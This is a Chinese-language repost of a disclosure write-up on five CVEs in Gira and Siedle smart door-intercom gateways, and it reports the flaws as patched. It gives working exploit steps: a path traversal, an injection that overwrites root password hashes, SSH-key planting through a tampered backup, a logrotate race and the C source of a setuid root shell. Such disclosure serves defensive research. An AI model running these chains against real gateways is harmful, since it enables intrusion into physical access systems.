對智慧門禁系統的安全研究

語言: CN / TW / HK

雲棲號資訊:【點選檢視更多行業資訊
在這裡您可以找到不同行業的第一手的上雲資訊,還在等什麼,快來!

siedle_scaled_jpeg

對於許多攻擊型別,需要物理訪問計算機,例如插入“ Rubber Ducky”或插入物理鍵盤記錄程式。由於通常限制對伺服器和計算機的訪問,因此通常通過“當攻擊者已經進入房間時,無論如何我們都會被攻擊”的角度來處理這些威脅向量。但是,如果相反的話怎麼辦?如果伺服器,計算機和軟體取決於物理安全性,但是物理安全性取決於計算機的安全性呢?對於所有不同型別的智慧門鎖,情況就是如此。我們研究了網關係統,這些系統增加了門鈴解決方案,使使用者可以通過網路(甚至Internet)對其進行控制。對於其中兩個分別由Siedle和Gira製造的產品,我們找到了開源的韌體檔案並開始進行漏洞挖掘。

0x01 漏洞描述

我們在HITBAMS20的會議上進行了分享,並且我們打算將硬體帶到現場演示。但是,由於Corona / COVID-19 疫情會議被取消了,我們仍然在線上會議上進行了演示。

https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140

此外,我們將在此部落格文章中詳細介紹漏洞利用鏈和技術細節。稍後,我們錄製的演示和演講將在此處提供。

我們能夠在兩個裝置及其各自的管理Web GUI上獲得root使用者訪問許可權。這使我們能夠將受害者鎖定在外面,並獲得我們希望連線到受感染裝置的物理訪問許可權。有關我們的利用鏈的更詳細的技術說明,可以在後續文章中找到。

MITER總共向我們分配了五個CVE編號:

· CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未經身份驗證的路徑遍歷的攻擊,從而使攻擊者可以下載應用程式資料庫。可以將其與CVE-2020-10795結合使用以進行遠端root訪問。

· CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7易於通過Web前端的備份功能執行經過身份驗證的遠端程式碼執行。可以將其與CVE-2020-10794結合使用以進行遠端root訪問。

· CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智慧閘道器具有無密碼ftp ssh使用者。通過使用漏洞利用鏈,可以訪問網路的攻擊者可以在閘道器上獲得root訪問許可權。

· CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0智慧閘道器允許通過Web前端中的備份功能遠端執行程式碼。通過使用漏洞利用鏈,可以訪問網路的攻擊者可以在閘道器上獲得root訪問許可權。

· CVE-2020-9475:1.2.4之前的S.Siedle&Soehne SG 150-0智慧閘道器允許通過logrotate中的競爭條件提升本地特權。通過使用漏洞利用鏈,可以訪問網路的攻擊者可以在閘道器上獲得root訪問許可權。

我們聯絡了兩家供應商,並告知他們我們的發現。到現在為止,我們發現的所有漏洞都不再對最新版本系統有效。Siedle甚至為我們提供了預釋出的測試韌體映像,因此我們可以檢查所有漏洞是否在更新發布之前已修復。總體而言,我們對兩家供應商的迴應感到非常滿意,因為這清楚地表明他們意識到了調查結果的重要性。兩家供應商都立即按照自己的設定對其進行了驗證,並專業地解決了這些問題。

0x02 Gira漏洞利用鏈

1590979278187770_jpeg

Gira TKS-IP-Gateway的主機板

CVE-2020-10794:Gira TKS-IP-閘道器4.0.7.7中未經身份驗證的路徑遍歷

當我們開始研究Gira TKS IP閘道器時,我們在Web介面中發現了路徑遍歷漏洞。使用此/app/db/gira.db檔案,我們下載了檔案。在此檔案中,管理員密碼為md5-hash,如果密碼不是特別強的話,雜湊很容易被破解。此外,我們下載了相同的/app/sdintern/messages檔案。如果有人最近登入了該計算機,該檔案將以純文字格式生成密碼。使用獲得的憑據,我們能夠登入到Web前端並重新配置裝置或開啟與該裝置連線的後門。

CVE-2020-10795:Gira TKS-IP-閘道器4.0.7.7中身份驗證的遠端程式碼執行

現在我們已經在Web介面上獲得了管理員特權,我們備份了gira.db。該備份是TAR檔案,我們可以對其進行解壓縮和修改:

sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"

上面的程式碼將sed命令放入資料庫中。在sedheg我們修改的tar檔案將取代密碼雜湊root和D3.IPGWvG,如下所示:

#!/bin/sh  
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/  
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/

兩個使用者要麼都是root使用者,要麼可能已經成為sudo的root使用者。準備好之後,我們再次打包修改後的檔案。然後,我們通過還原功能將備份上傳到Web介面。這觸發了我們偽造的新網路設定(標記為“ ==>”),該設定是從修改後的sqlite資料庫讀取的。

[...]  
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`  
 [...]  
 ==> HNAME=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $2}'`;  
NS=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $3}'`;  
BOOTMODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;  
GW=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $5}'`;  
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;  
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;

然後,在的sed命令中使用了“ $ HNAME”變數/app/bin/network.sh。

echo "0" > /tmp/dhcp  
echo "nameserver 192.168.0.1" > /etc/resolv.conf   
echo -en "HOSTNAME: $HNAME"  
echo -en ""  
echo "$HNAME" > /etc/hostname  
 ==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf

這樣,我們將root密碼更改為我們已知的密碼。最後一步是登入到機器,為此我們需要dropbear ssh軟體包。它是備用的ssh伺服器,但是裝置上存在的版本太舊,無法與現代的openssh客戶端相容。使用dbclient -p

https://player.vimeo.com/video/410960486

0x03 Siedle漏洞利用鏈

siedle_scaled_jpeg

S. Siedle&SöhneSG 150-0智慧閘道器

CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空無密碼FTP使用者

對於Siedle SG-150,我們進入系統的入口是為ftp使用者設定密碼。這是可能的,因為韌體不包含該使用者的任何密碼。通過ssh設定密碼後,我們ssh -v -N ftp@

我們在公共韌體中的一些shell指令碼和配置檔案中找到了該資料庫的靜態root密碼“ siedle”。使用密碼和轉發的埠,我們可以使用命令以管理特權訪問資料庫mysql -h 127.0.0.1 -u root -P 1337 -psiedle。

該資料庫具有不同的目的,一個目的是儲存用於Web應用程式管理裝置的憑據。通過對資料庫具有root使用者訪問許可權,我們可以為Web應用程式新增具有管理員特權的另一個使用者。現在,我們可以控制和重新配置連線到閘道器的每個裝置,這使我們能夠進行連線。

CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的經過身份驗證的遠端程式碼執行

這將使我們獲得Shell訪問許可權。從Web應用程式,我們能夠下載配置備份config.bak檔案。這是一個squashfs,一旦解壓縮,其中包含一個backup.sql檔案。我們生成了一個ssh金鑰,並將以下四行新增到backup.sql檔案的頂部:

\! mkdir /var/lib/mysql/.ssh    
\! echo  >> /var/lib/sql/.ssh/authorized_keys    
\! chmod 0700 /var/lib/mysql/.ssh    
\! chmod 0600 /var/lib/mysql/.ssh/authorized_keys

然後,我們重建了squashfs並將其作為備份上傳到Web應用程式,該檔案用於還原過程。等待幾分鐘的恢復過程完成後,我們便以SSH使用者的私鑰通過ssh訪問了該裝置,因為運行了受操縱檔案中的所有命令,~/.ssh/authorized_keys並建立了mysql使用者的檔案。

CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的本地特權升級

為了提升特權,我們在logrotate指令碼中使用了錯誤的配置。此外,我們編寫了三個小程式,即bind,symlink和root。原始碼將在本文的附錄中。由於已經具有shell程式訪問許可權,因此我們對ARM程式進行了交叉編譯,並將其複製到裝置中。 我們想觸發MySQL logrotate指令碼的以下部分:

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then  
 $MYADMIN flush-logs  
else  
# manually move it, to mimic above behaviour  
mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old  
# recreate mysql.log, else logrotate would miss it  
touch /var/log/mysql/mysql.log  
chown mysql.mysql /var/log/mysql/mysql.log  
chmod 0664 /var/log/mysql/mysql.log  
 fi

要觸發這部分程式碼,我們需要確保mysqladmin ping返回的狀態碼不是零。如果mysql伺服器未執行,則只有這種情況。更改憑據甚至刪除整個資料庫都無濟於事,因為mysqladmin仍會返回零,我們需要資料庫不可用。但是由於如果你關閉它,它只會重新啟動,所以我們需要將其掛載出來。這是第一個利用程式進入的地方:bind。我們使用它來將自身繫結到mysql資料庫正在使用的靜態埠:

while true; do ./bind 63601; sleep 1; done

在第二個終端中,我們關閉資料庫,然後在啟動時嘗試將自身繫結到其埠時將掛起。因為mysql會在關機和啟動之間釋放埠,所以我們可以在它們之間進行競爭並使用我們的程式阻止該埠。這種方式mysqladmin返回了一個,我們必須執行else條件。

然後,我們需要第二個程式:symlink。現在的目標是在其中建立一個/etc/logrotate.d/我們可以控制和寫入的檔案,因為logrotate將以root使用者身份執行該目錄中的所有指令碼。為了達到目的執行logrotate指令碼,用於清理MySQL的日誌檔案,並設法從/var/log/mysql/mysql.log建立符號連結到之間mv和touch的/etc/logrotate.d/rootme。Rootme當時不存在,但這並不重要。按照符號連結,logrotate /etc/logrotate.d/rootme以root身份建立檔案,然後將chown其提供給mysql使用者。為了阻止mysql寫入我們準備的檔案,我們刪除了symlink並/var/log/mysql/mysql.log為其建立了一個新檔案。之後,我們將/etc/logrotate.de/rootme用以下內容填充:

/var/log/mysql/rootme.log {
         delaycompress
         nosharedscripts
         copy
         firstaction
             chown root:root /tmp/root
             chmod +s /tmp/root
             mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
             touch /var/log/mysql/rootme.log
             chown mysql.mysql /var/log/mysql/rootme.log
             chmod 0664 /var/log/mysql/rootme.log
          fi
         endscript
         lastaction
             mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
         endscript
 }

程式/tmp/root是我們的第三個程式和suidrootshell。完成所有操作後,我們必須填充/var/log/mysql/rootme.log並再次觸發logrotate。現在,我們的suid二進位制檔案具有root特權,可以通過以下方式使用:/tmp/root passwd root。現在,我們可以更改root使用者的密碼,從現在起就可以完全控制系統了。

https://player.vimeo.com/video/410961877

0x04 程式碼片段

bind.c

#include  #include  #include  #include  #include  
#include  #include  
void error(const char *msg) {
    perror(msg);
    exit(1);
}

int main(int argc, char **argv) {
     int sockfd, newsockfd, portno, pid;
     socklen_t clilen;
     struct sockaddr_in serv_addr, cli_addr;

     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);

     if (sockfd < 0) 
        error("ERROR opening socket");

     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
         error("ERROR on binding");
     listen(sockfd,5);
     accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     return 0;
}

symlink.c

#include  
int main(int argc, char **argv) {
  int ret;

  char *watchPath = argv[1];
  char *linkPath = argv[2];

  while(1) {
      ret = symlink(linkPath, watchPath);
      if (ret == 0)
        return 0;
  }
  return 0;
}

root.c

#include  #include  #include  #include  #include  
char *join_command(char **commands) {
    char *res = (char *)malloc(strlen(commands[0]));
    strncpy(res, commands[0], strlen(commands[0]));

    for (char **command = ++commands; *command != NULL; command++) {
        res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
        strcat(res, " ");
        strcat(res, *command);
    }
    return res;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage: ./root ");
    }

    setuid(0);
    setgid(0);
    system(join_command(++argv));

    return 0;
}

【雲棲號線上課堂】每天都有產品技術專家分享!
課程地址:https://yqh.aliyun.com/zhibo

立即加入社群,與專家面對面,及時瞭解課程最新動態!
【雲棲號線上課堂 社群】https://c.tb.cn/F3.Z8gvnK

原文釋出時間:2020-08-06
本文作者:h1apwn
本文來自:“嘶吼網”,瞭解相關資訊可以關注“嘶吼網

分享到: